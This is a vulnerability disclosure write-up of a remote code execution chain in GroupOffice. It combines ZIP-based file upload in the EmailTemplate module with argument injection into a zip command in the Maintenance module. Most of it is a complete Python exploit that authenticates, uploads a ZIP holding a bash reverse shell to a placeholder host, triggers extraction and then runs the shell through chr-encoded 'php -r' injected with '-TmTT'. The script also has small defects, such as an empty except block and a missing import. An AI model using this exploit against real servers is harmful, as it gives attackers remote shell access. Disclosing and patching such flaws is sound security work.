Working with NumberOreo, we identified a Critical Remote Code Execution (RCE) vulnerability chain in GroupOffice. By combining an Arbitrary File Upload vulnerability (via Zip Extraction) in the EmailTemplate module with a Command Injection vulnerability in the Maintenance module, an authenticated attacker (with basic user privileges) can execute arbitrary commands on the server.
You can read the advisory here
This exploit chain relies on two distinct vulnerabilities:
The EmailTemplate controller allows users to import templates from a ZIP file. The extraction logic does not sufficiently validate the types or contents of files within the ZIP archive. The application extracts the ZIP contents into a temporary directory with a randomized name (e.g. /tmp/groupoffice/5f3a1b2c/payload.sh). normally making the full path execution difficult.
The MaintenanceController exposes an action zipLanguage which takes a lang parameter and passes it directly to a system zip command via exec().
The Bypass:
Since we do not know the exact randomized directory name created in step 1, we utilize the Command Injection in step 2 to execute a shell command using recursive globbing (wildcards).
By injecting bash /**/**/**/payload.sh, the system searches for our unique filename across the filesystem (or specifically within temporary paths), effectively bypassing the protection offered by the randomized directory name.
The code constructs a command like: zip [Lang_param]-version.zip
By injecting arguments into the lang parameter, we can manipulate the zip command. Specifically, we use the -TmTT flags to force zip to execute a test command (Reference: Argument Injection Vectors - Zip). Furthermore, we abuse the php -r command with chr() encoding to facilitate our command injection.
Vulnerable Code (MaintenanceController.php):
public function actionZipLanguage($lang) {
// ...
$tmpFile = \GO\Base\Fs\File::tempFile($langCode.'-'.str_replace('.','-', GO::config()->version), 'zip');
// $langCode (derived from $lang) is injected into cmd string
$cmdString = GO::config()->cmd_zip.' '.$tmpFile->path().' '.implode(" ", $fileNames);
exec($cmdString, $outputArr, $retVal);
}
We demonstrate the vulnerability with a combined Python script that performs the following steps:
bash /**/**/**/payload.sh).Prerequisites: Before running the exploit:
!/usr/bin/env python3
import os
import requests
import zipfile
import io
import random
import string
import time
BASE_URL = os.environ.get("BASE_URL", "http://XX.XX.XX.XX.fr:4444")
USER = os.environ.get("USER", "user")
PASS = os.environ.get("PASS", "password")
SHELL_CONTENT = b'/bin/bash -i >& /dev/tcp/XX.XX.XX.XX/4444 0>&1'
def random_string(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def create_malicious_zip(filename, content):
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(filename, content)
zf.writestr("index.html", b"<html><body>Template</body></html>")
return zip_buffer.getvalue()
def to_php_chr(s):
"""Converts a string to a PHP chr() concatenation string."""
return ".".join([f"chr({ord(c)})" for c in s])
def generate_rce_payload(command):
php_code = f"system({to_php_chr(command)});"
wrapped_payload = f"php -r '{php_code}'"
final_payload = f'-TmTT=$({wrapped_payload})'
return final_payload
def authenticate(session):
"""Authenticate via api/auth.php and return accessToken + csrfToken"""
url = f"{BASE_URL}/api/auth.php"
data = {"action": "login", "username": USER, "password": PASS}
headers = {'Content-Type': 'application/json'}
try:
resp = session.post(url, json=data, headers=headers, timeout=10)
if resp.status_code == 201:
json_resp = resp.json()
access_token = json_resp.get('accessToken')
csrf_token = json_resp.get('CSRFToken')
print(f"Login Successful")
return access_token, csrf_token
else:
print(f"Login Failed")
return None, None
except Exception as e:
print(f"Login Error: {e}")
return None, None
def upload_zip_payload(session, zip_data, access_token, csrf_token):
"""Uploads the malicious ZIP file using api/upload.php"""
url = f"{BASE_URL}/api/upload.php"
headers = {
'X-File-Name': 'payload.zip',
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {access_token}'
}
if csrf_token:
headers['X-CSRF-Token'] = csrf_token
try:
resp = session.post(url, data=zip_data, headers=headers, timeout=10)
if resp.status_code in [200, 201]:
json_resp = resp.json()
blob_id = json_resp.get('id') or json_resp.get('blobId')
return blob_id
else:
return None
except Exception as e:
print(f"Upload Error: {e}")
return None
def trigger_extraction(session, blob_id, access_token, csrf_token):
"""Triggers the EmailTemplate/fromZip action via JMAP to extract the ZIP."""
url = f"{BASE_URL}/api/jmap.php"
jmap_request = [
["EmailTemplate/fromZip", {
"blobId": blob_id,
"module": "addressbook",
"package": "community",
"subject": "PoC Exploit"
}, "extract"]
]
headers = {
'Content-Type': 'application/json',
'Authorization': f'Bearer {access_token}'
}
if csrf_token:
headers['X-CSRF-Token'] = csrf_token
try:
resp = session.post(url, json=jmap_request, headers=headers, timeout=10)
except Exception as e:
print(f"Error: {e}")
def trigger_rce_execution(session, shell_filename, access_token=None):
command = f"bash /**/**/**/{shell_filename}"
payload = generate_rce_payload(command)
url = f"{BASE_URL}/index.php"
params = {
"r": "maintenance/zipLanguage",
"lang": payload
}
headers = {}
if access_token:
headers['Authorization'] = f"Bearer {access_token}"
try:
resp = session.get(url, params=params, headers=headers, timeout=5)
except requests.exceptions.ReadTimeout:
except Exception as e:
print(f"RCE Trigger Error: {e}")
def main():
session = requests.Session()
# 1. Authenticate
access_token, csrf_token = authenticate(session)
if not access_token:
sys.exit(1)
# 2. Generate random filename
shell_filename = f"{random_string(6)}.sh"
# 3. Create ZIP
zip_data = create_malicious_zip(shell_filename, SHELL_CONTENT)
# 4. Upload ZIP
blob_id = upload_zip_payload(session, zip_data, access_token, csrf_token)
if not blob_id:
sys.exit(1)
# 5. Trigger Extraction (puts shell on disk)
trigger_extraction(session, blob_id, access_token, csrf_token)
# Give it a split second to write to disk
time.sleep(1)
# 6. Execute via RCE
trigger_rce_execution(session, shell_filename, access_token)
if __name__ == "__main__":
main()